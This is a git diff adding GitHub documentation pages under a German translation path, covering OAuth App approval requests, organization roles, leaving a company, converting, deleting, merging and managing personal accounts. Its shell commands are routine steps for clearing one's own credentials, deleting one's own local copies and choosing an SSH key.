+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Request OAuth App approval
+---
+
+## About requesting organization approval for an {% data variables.product.prodname_oauth_app %}
+
+Organization members can always request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.{% ifversion limit-app-access-requests %} Outside collaborators can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use if integration access requests are enabled. For more information, see "[Limiting OAuth App and GitHub App access requests](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests)."{% endif %}
+
+## Requesting organization approval for an {% data variables.product.prodname_oauth_app %} you've already authorized for your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.access_applications %}
+{% data reusables.user-settings.access_authorized_oauth_apps %}
+3. In the list of applications, click the name of the {% data variables.product.prodname_oauth_app %} you'd like to request access for.
+![View application button](/assets/images/help/settings/settings-third-party-view-app.png)
+4. Next to the organization you'd like the {% data variables.product.prodname_oauth_app %} to access, click **Request access**.
+![Request access button](/assets/images/help/settings/settings-third-party-request-access.png)
+5. After you review the information about requesting {% data variables.product.prodname_oauth_app %} access, click **Request approval from owners**.
+![Request approval button](/assets/images/help/settings/oauth-access-request-approval.png)
+
+## Further reading
+
+- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
new file mode 100644
index 0000000000..7556dc2487
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization.md
@@ -0,0 +1,68 @@
+---
+title: Rollen von Personen in einer Organisation anzeigen
+intro: 'Du kannst eine Liste der Personen in deiner Organisation anzeigen und nach deren Rollen filtern. Weitere Informationen zu Organisationsrollen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).'
+permissions: Organization members can see people's roles in the organization.
+redirect_from:
+  - /articles/viewing-people-s-roles-in-an-organization
+  - /articles/viewing-peoples-roles-in-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/viewing-peoples-roles-in-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: View people in an organization
+ms.openlocfilehash: e0632ffeb394615b7b64ad55673b69fc738bca27
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '146179631'
+---
+## Anzeigen von Organisationsrollen
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Es wird eine Liste der Personen in deiner Organisation angezeigt. Wenn du die Liste nach Rollen filtern möchtest, klicke auf **Rolle**, und wähle die gesuchte Rolle aus.
+  ![Auswahl der Rolle per Klick](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png)
+
+{% ifversion fpt %}
+
+Wenn deine Organisation {% data variables.product.prodname_ghe_cloud %} nutzt, kannst du auch die Unternehmensbesitzer*innen anzeigen, die Abrechnungseinstellungen und Richtlinien für alle Organisationen deines Unternehmens verwalten. Weitere Informationen findest du unter [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization).
+
+{% endif %}
+
+{% ifversion enterprise-owners-visible-for-org-members %}
+## Anzeigen von Unternehmensbesitzer*innen und deren Rollen in einer Organisation
+
+Wenn deine Organisation über ein Unternehmenskonto verwaltet wird, kannst du die Unternehmensbesitzer*innen anzeigen, die die Abrechnungseinstellungen und Richtlinien für alle Organisationen deines Unternehmens verwalten. Weitere Informationen zu Unternehmenskonten findest du unter [Arten von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts).
+
+Du kannst auch anzeigen, ob ein*e Unternehmensbesitzer*in eine bestimme Rolle in der Organisation innehat. Unternehmensbesitzer*innen können auch Organisationsmitglieder sein, eine andere Organisationsrolle innehaben oder von der Organisation unabhängig sein.
+
+{% note %}
+
+**Hinweis:** Wenn du ein*e Organisationsbesitzer*in bist, kannst du auch Unternehmensbesitzer*innen dazu einladen, eine Rolle in der Organisation zu übernehmen. Wenn ein*e Unternehmensbesitzer*in die Einladung annimmt, wird ein Sitz oder eine Lizenz in der Organisation von den verfügbaren Lizenzen deines Unternehmens verwendet. Weitere Informationen zur Funktionsweise von Lizenzierungen findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner).
+
+{% endnote %}
+
+| **Unternehmensrolle** | **Organisationsrolle** | **Zugriff auf die Organisation und Auswirkungen** |
+|----|----|----|----|
+| Enterprise-Inhaber | Unabhängig oder keine offizielle Organisationsrolle | Diese Rolle kann nicht auf Inhalte oder Repositorys der Organisation zugreifen, verwaltet jedoch Unternehmenseinstellungen und Richtlinien, die sich auf deine Organisation auswirken. |
+| Enterprise-Inhaber | Organisationsbesitzer | Diese Rolle kann Organisationseinstellungen konfigurieren und den Zugriff auf die Ressourcen der Organisation durch Teams usw. verwalten. | 
+| Enterprise-Inhaber | Organisationsmitglied | Diese Rolle kann auf Ressourcen und Inhalte der Organisation (z. B. Repositorys) zugreifen, hat jedoch keinen Zugriff auf die Einstellungen der Organisation. |
+
+Informationen zum Anzeigen aller Rollen in einer Organisation findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). {% ifversion custom-repository-roles %} Ein Organisationsmitglied kann auch über eine benutzerdefinierte Rolle für ein bestimmtes Repository verfügen. Weitere Informationen findest du unter [Verwalten benutzerdefinierter Repositoryrollen für eine Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}
+
+Weitere Informationen zur Rolle „Unternehmensbesitzer“ findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). 
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Klicke in der linken Randleiste unter „Unternehmensberechtigungen“ auf **Unternehmensbesitzer**.
+  ![Screenshot: Die Option „Unternehmensbesitzer“ im Randleistenmenü](/assets/images/help/organizations/enterprise-owners-sidebar.png)
+5. Zeige die Liste der Unternehmensbesitzer*innen deines Unternehmens an. Wenn der*die Unternehmensbesitzer*in ebenfalls Mitglied deiner Organisation ist, kannst du die Rolle in der Organisation anzeigen.
+
+  ![Screenshot: Liste der Unternehmensbesitzer*innen und deren Rolle in der Organisation](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
+
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md
new file mode 100644
index 0000000000..aedaff2bc8
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md
@@ -0,0 +1,43 @@
+---
+title: Best practices for leaving your company
+intro: 'If you use your account on {% data variables.product.product_name %} for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization.'
+redirect_from:
+  - /articles/best-practices-for-leaving-your-company
+  - /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company
+  - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Leaving your company
+---
+
+Before you leave your company, make sure you update the following information in your personal account:
+
+- Unverify your company email address by [deleting it in your Email settings](/articles/changing-your-primary-email-address). You can then re-add it without verifying to keep any associated commits linked to your account.
+- [Change your primary email address](/articles/changing-your-primary-email-address) from your company email to your personal email.
+- [Verify your new primary email address](/articles/verifying-your-email-address).
+- [Change your GitHub username](/articles/changing-your-github-username) to remove any references to your company or organization, if necessary.
+- If you've enabled two-factor (2FA) authentication for your personal account, make sure that you (not your company) control the 2FA authentication method you have configured. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)."
+
+## Leaving organizations
+
+If you've been working with repositories that belong to an organization, you'll want to [remove yourself as a member of the organization](/articles/removing-yourself-from-an-organization). Note that if you are the organization owner, you should first [transfer ownership of the organization](/articles/transferring-organization-ownership) to another person.
+
+Unless you're using a {% data variables.enterprise.prodname_managed_user %}, you'll still be able to access your personal account, even after leaving the organization. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}]({% ifversion not ghec%}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+## Removing professional associations with personal repositories
+
+If you've been collaborating professionally with another person on repositories that belong to their personal account, you'll want to [remove yourself as a collaborator](/articles/removing-yourself-from-a-collaborator-s-repository) from those repositories.
+
+- [Stop watching repositories](https://github.com/watching) related to your work. You won't want those notifications anymore!
+- [Transfer repositories you own](/articles/how-to-transfer-a-repository) that others may need to continue working on after you leave.
+- [Delete forks that belong to you](/articles/deleting-a-repository) that are related to the work you were doing. Don't worry, deleting a fork doesn't delete the upstream repository.
+- Delete local copies of your forks that may exist on your computer:
+
+```shell
+$ rm -rf WORK_DIRECTORY
+```
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md
new file mode 100644
index 0000000000..ddfab588a9
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md
@@ -0,0 +1,74 @@
+---
+title: Converting a user into an organization
+redirect_from:
+  - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization
+  - /articles/explaining-the-account-transformation-warning
+  - /articles/converting-a-user-into-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization
+  - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization
+intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: User into an organization
+---
+{% warning %}
+
+**Warning**: Before converting a user into an organization, keep these points in mind.
+
+* You will **no longer** be able to sign into the converted personal account.
+* You will **no longer** be able to create or modify gists owned by the converted personal account.
+* An organization **cannot** be converted back to a user.
+* The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the personal account that's being converted, not any of the personal account's collaborators.
+* Any {% data variables.product.prodname_github_apps %} installed on the converted personal account will be uninstalled.
+* Any commits made with the converted personal account **will no longer be linked** to that account. The commits themselves **will** remain intact.
+* Any existing comments made by the converted personal account **will no longer be linked** to that account. The comments themselves **will** remain intact, but will be associated with the `ghost` user.
+* Any forks of private repositories made with the converted personal account will be deleted.
+{% endwarning %}
+
+{% ifversion fpt or ghec or ghes %}
+## Keep your personal account and create a new organization manually
+
+If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your personal account into an organization.
+
+1. To retain your current personal account name for your personal use, [change the name of your personal account](/articles/changing-your-github-username) to something new and wonderful.
+2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal account.
+3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.{% endif %}
+
+## Convert your personal account into an organization automatically
+
+You can also convert your personal account directly into an organization. Converting your account:
+ - Preserves the repositories as they are without the need to transfer them to another account manually
+ - Automatically invites collaborators to teams with permissions equivalent to what they had before
+ {% ifversion fpt or ghec %}- For personal accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %}
+
+1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert.
+2.  [Leave any organizations](/articles/removing-yourself-from-an-organization) the personal account you're converting has joined.
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.organizations %}
+5. Under "Transform account", click **Turn <username> into an organization**.
+ 	![Organization conversion button](/assets/images/help/settings/convert-to-organization.png)
+6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article.
+ 	![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png)
+7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization.
+ 	![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png)
+8. Choose your new organization's subscription and enter your billing information if prompted.
+9. Click **Create Organization**.
+10. Sign in to the new personal account you created in step one, then use the context switcher to access your new organization.
+
+{% tip %}
+
+**Tip**: When you convert a personal account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+
+{% endtip %}
+
+## Further reading
+- "[Setting up teams](/articles/setting-up-teams)"
+{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %}
+- "[Accessing an organization](/articles/accessing-an-organization)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md
new file mode 100644
index 0000000000..58818ffd11
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md
@@ -0,0 +1,67 @@
+---
+title: Deleting your personal account
+intro: 'You can delete your personal account on {% data variables.location.product_location %} at any time.'
+redirect_from:
+  - /articles/deleting-a-user-account
+  - /articles/deleting-your-user-account
+  - /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account
+  - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Delete your account
+---
+
+## About deletion of your personal account
+
+Deleting your personal account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted. Your resources and comments will become associated with the [ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %}
+
+{% ifversion ghec %}
+
+{% note %}
+
+**Note**: If your enterprise manages your account and you sign into {% data variables.location.product_location %} through your company's identity provider (IdP), you cannot delete your account. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)."
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account on {% data variables.location.product_location %}. After 90 days, the account name also becomes available to anyone else to use on a new account. {% endif %}
+
+If you're the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your personal account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your personal account.
+
+For more information, see the following articles.
+
+- "[Transferring organization ownership](/articles/transferring-organization-ownership)"
+- "[Deleting an organization account](/articles/deleting-an-organization-account)"
+- "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)"
+
+## Back up your account data
+
+Before you delete your personal account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account. For more information, see "[Backing up a repository](/repositories/archiving-a-github-repository/backing-up-a-repository)."
+
+{% warning %}
+
+**Warning:** Once your personal account has been deleted, {% ifversion fpt or ghec %}{% data variables.product.company_short %}{% elsif ghes or ghae %}an enterprise owner{% endif %} cannot restore your content.
+
+{% endwarning %}
+
+## Delete your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.account_settings %}
+3. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your personal account:
+    - If you're the only owner in the organization, you must transfer ownership to another person or delete your organization.
+    - If there are other organization owners in the organization, you must remove yourself from the organization.
+   ![Account deletion button](/assets/images/help/settings/settings-account-delete.png)
+4. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted:
+  ![Delete account confirmation dialog](/assets/images/help/settings/settings-account-deleteconfirm.png)
+  {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted and your billing will end immediately, and your username will be available to anyone for use on {% data variables.product.product_name %} after 90 days.
+  {% else %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use on {% data variables.product.product_name %}.
+  {% endif %}- In the first field, type your {% data variables.product.product_name %} username or email.
+    - In the second field, type the phrase from the prompt.
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md
new file mode 100644
index 0000000000..6b1e5ab643
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md
@@ -0,0 +1,19 @@
+---
+title: Managing your personal account
+intro: 'You can manage your personal account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. For example, you can {% ifversion fpt or ghec %}manage multiple accounts, {% endif %}convert an account to an organization{% ifversion fpt or ghec or ghes %}, or delete an account{% endif %}.'
+shortTitle: Manage personal account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+children:
+  - /managing-multiple-accounts
+  - /merging-multiple-personal-accounts
+  - /converting-a-user-into-an-organization
+  - /best-practices-for-leaving-your-company
+  - /deleting-your-personal-account
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md
new file mode 100644
index 0000000000..ac0abba21c
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md
@@ -0,0 +1,105 @@
+---
+title: Managing multiple accounts
+intro: 'If you use one workstation to contribute to projects for more than one account on {% data variables.location.product_location %}, you can modify your Git configuration to simplify the contribution process.'
+versions:
+  feature: multiple-accounts-one-workstation
+topics:
+  - Accounts
+  - Git
+  - GitHub
+shortTitle: Manage multiple accounts
+---
+
+## About management of multiple accounts
+
+In some cases, you may need to use multiple accounts on {% data variables.location.product_location %}. For example, you may have a personal account for open source contributions, and your employer may also create and manage a user account for you within an enterprise. 
+
+You cannot use your {% data variables.enterprise.prodname_managed_user %} to contribute to public projects on {% data variables.location.product_location %}, so you must contribute to those resources using your personal account. For more information, see "[About  {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %}
+
+If you want to use one workstation to contribute from both accounts, you can simplify contribution with Git by using a mixture of protocols to access repository data, or by using credentials on a per-repository basis.
+
+{% warning %}
+
+**Warning**: Be mindful when you use one workstation to contribute to two separate accounts. Management of two or more accounts can increase the chance of mistakenly leaking internal code to the public.
+
+{% endwarning %}
+
+If you aren't required to use a {% data variables.enterprise.prodname_managed_user %}, {% data variables.product.company_short %} recommends that you use one personal account for all your work on {% data variables.location.product_location %}. With a single personal account, you can contribute to a combination of personal, open source, or professional projects using one identity. Other people can invite the account to contribute to both individual repositories and repositories owned by an organization, and the account can be a member of multiple organizations or enterprises.
+
+## Contributing to two accounts using HTTPS and SSH
+
+If you contribute with two accounts from one workstation, you can access repositories by using a different protocol and credentials for each account. 
+
+Git can use either the HTTPS or SSH protocol to access and update data in repositories on {% data variables.location.product_location %}. The protocol you use to clone a repository determines which credentials your workstation will use to authenticate when you access the repository. With this approach to account management, you store the credentials for one account to use for HTTPS connections and upload an SSH key to the other account to use for SSH connections.
+
+You can find both the HTTPS or an SSH URLs for cloning a repository on {% data variables.product.product_name %}. For more information, see "[Cloning a repository](/repositories/creating-and-managing-repositories/cloning-a-repository)."
+
+For more information about the use of SSH to access repositories on {% data variables.product.product_name %}, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/authentication/connecting-to-github-with-ssh)."
+
+## Contributing to multiple accounts using HTTPS and {% data variables.product.pat_generic %}s
+
+Alternatively, if you want to use the HTTPS protocol for both accounts, you can use different {% data variables.product.pat_generic %}s for each account by configuring Git to store different credentials for each repository.
+
+{% mac %}
+
+{% data reusables.git.open-terminal %}
+{% data reusables.git.confirm-credential-manager %}
+{% data reusables.git.clear-the-stored-credentials %}
+   {% data reusables.git.no-credential-manager %}
+   - If the output is `osxkeychain`, you're using the macOS keychain. To clear the credentials, enter the following command.
+
+     ```shell{:copy}
+     git credential-osxkeychain erase https://github.com
+     ```
+   {% data reusables.git.clear-stored-gcm-credentials %}
+{% data reusables.git.cache-on-repository-path %}
+{% data reusables.accounts.create-personal-access-tokens %}
+{% data reusables.git.provide-credentials %}
+
+{% endmac %}
+
+{% windows %}
+
+1. Open Git Bash.
+{% data reusables.git.confirm-credential-manager %}
+{% data reusables.git.clear-the-stored-credentials %}
+   {% data reusables.git.no-credential-manager %}
+   {% data reusables.git.clear-stored-gcm-credentials %}
+   - If the output is `wincred`, you're using the Windows Credential Manager. To clear the credentials, enter the following command.
+
+     ```shell{:copy}
+     cmdkey /delete:LegacyGeneric:target=git:https://github.com
+     ```
+{% data reusables.git.cache-on-repository-path %}
+{% data reusables.accounts.create-personal-access-tokens %}
+{% data reusables.git.provide-credentials %}
+
+{% endwindows %}
+
+{% linux %}
+
+{% data reusables.git.open-terminal %}
+{% data reusables.git.confirm-credential-manager %}
+{% data reusables.git.clear-the-stored-credentials %}
+   {% data reusables.git.no-credential-manager %}
+   {% data reusables.git.clear-stored-gcm-credentials %}
+{% data reusables.git.cache-on-repository-path %}
+{% data reusables.accounts.create-personal-access-tokens %}
+{% data reusables.git.provide-credentials %}
+
+{% endlinux %}
+
+## Contributing to multiple accounts using SSH and `GIT_SSH_COMMAND`
+
+If you want to use the SSH protocol for both accounts, you can use different SSH keys for each account. For more information about using SSH, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/authentication/connecting-to-github-with-ssh)."
+
+To use a different SSH key for different repositories that you clone to your workstation, you must write a shell wrapper function for Git operations. The function should perform the following steps.
+1. Determine the repository's full name with owner, using a command such as `git config --get remote.origin.url`.
+2. Choose the correct SSH key for authentication.
+3. Modify `GIT_SSH_COMMAND` accordingly. For more information about `GIT_SSH_COMMAND`, see [Environment Variables](https://git-scm.com/docs/git#Documentation/git.txt-codeGITSSHCOMMANDcode) in the Git documentation.
+
+For example, the following command sets the `GIT_SSH_COMMAND` environment variable to specify an SSH command that uses the private key file at **_PATH/TO/KEY/FILE_** for authentication to clone the repository named **_OWNER_**/**_REPOSITORY_** on {% data variables.location.product_location %}.
+
+<pre>
+GIT_SSH_COMMAND='ssh -i <em>PATH/TO/KEY/FILE</em> -o IdentitiesOnly=yes' git clone git@github.com:<em>OWNER</em>/<em>REPOSITORY</em>
+</pre>
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md
new file mode 100644
index 0000000000..84cad2162a
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md
@@ -0,0 +1,54 @@
+---
+title: Zusammenführen mehrerer persönlicher Konten
+intro: 'Wenn du separate Konten für die Arbeit und für die private Nutzung besitzt, kannst du die Konten zusammenführen.'
+redirect_from:
+  - /articles/can-i-merge-two-accounts
+  - /articles/keeping-work-and-personal-repositories-separate
+  - /articles/merging-multiple-user-accounts
+  - /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts
+  - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Merge multiple accounts
+ms.openlocfilehash: 39198c8fdd0078321774eac4180f84a2b039d25e
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147687167'
+---
+{% tip %}
+
+{% ifversion ghec %}
+
+**Tipp:** {% data variables.product.prodname_emus %} ermöglichen es einem Unternehmen, eindeutige persönliche Konten für seine Mitglieder über einen Identitätsanbieter (IdP) bereitzustellen. Weitere Informationen findest du unter [Informationen zu Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users). Für andere Anwendungsfälle wird empfohlen, nur ein Benutzerkonto für die Verwaltung persönlicher und beruflicher Repositorys zu verwenden.
+
+{% else %}
+
+**Tipp:** Es wird empfohlen, nur ein Benutzerkonto für die Verwaltung persönlicher und beruflicher Repositorys zu verwenden. 
+
+{% endif %}
+
+{% endtip %}
+
+{% warning %}
+
+**Warnung:** 
+- Organisations- und Repositoryzugriffsberechtigungen können nicht zwischen Konten übertragen werden. Wenn das Konto, das Du löschen möchtest, über eine vorhandene Zugriffsberechtigung verfügt, muss ein Organisationsbesitzer oder Repositoryadministrator das Konto einladen, das Du beibehalten möchtest.
+- Alle Commits, die mit einer über GitHub bereitgestellten `noreply`-E-Mail-Adresse erstellt wurden, können nicht von einem Konto in ein anderes übertragen werden. Wenn für das Konto, das du löschen möchtest, die Option **"Keep my email address private"** (Meine E-Mail-Adresse privat halten) verwendet wird, ist es nicht möglich, die von dem Konto erstellten Commits an das Konto zu übertragen, das Du behalten möchtest.
+
+{% endwarning %}
+
+1. [Übertrage alle Repositorys](/articles/how-to-transfer-a-repository) aus dem Konto, das Du löschen möchtest, in das Konto, das Du behalten möchtest. Issues, Pull Requests und Wikis werden ebenfalls übertragen. Überprüfe, ob die Repositorys in dem Konto, das Du behalten möchtest, vorhanden sind.
+2. [Aktualisiere die Remote-URLs](/github/getting-started-with-github/managing-remote-repositories) in allen lokalen Klonen der Repositorys, die verschoben wurden.
+3. [Lösche das Konto](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account), das Du nicht mehr verwenden möchtest.
+4. Um dem neuen Konto frühere Commits zuzuweisen, füge die E-Mail-Adresse hinzu, die Du zum Erstellen des Commits für das Konto verwendet hast, das Du beibehältst. Weitere Informationen findest du unter [Warum werden meine Beiträge nicht auf meinem Profil angezeigt?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account)
+
+## Weiterführende Themen
+
+- "[Unterschiedliche Arten von {% data variables.product.prodname_dotcom %}-Konten](/articles/types-of-github-accounts)"
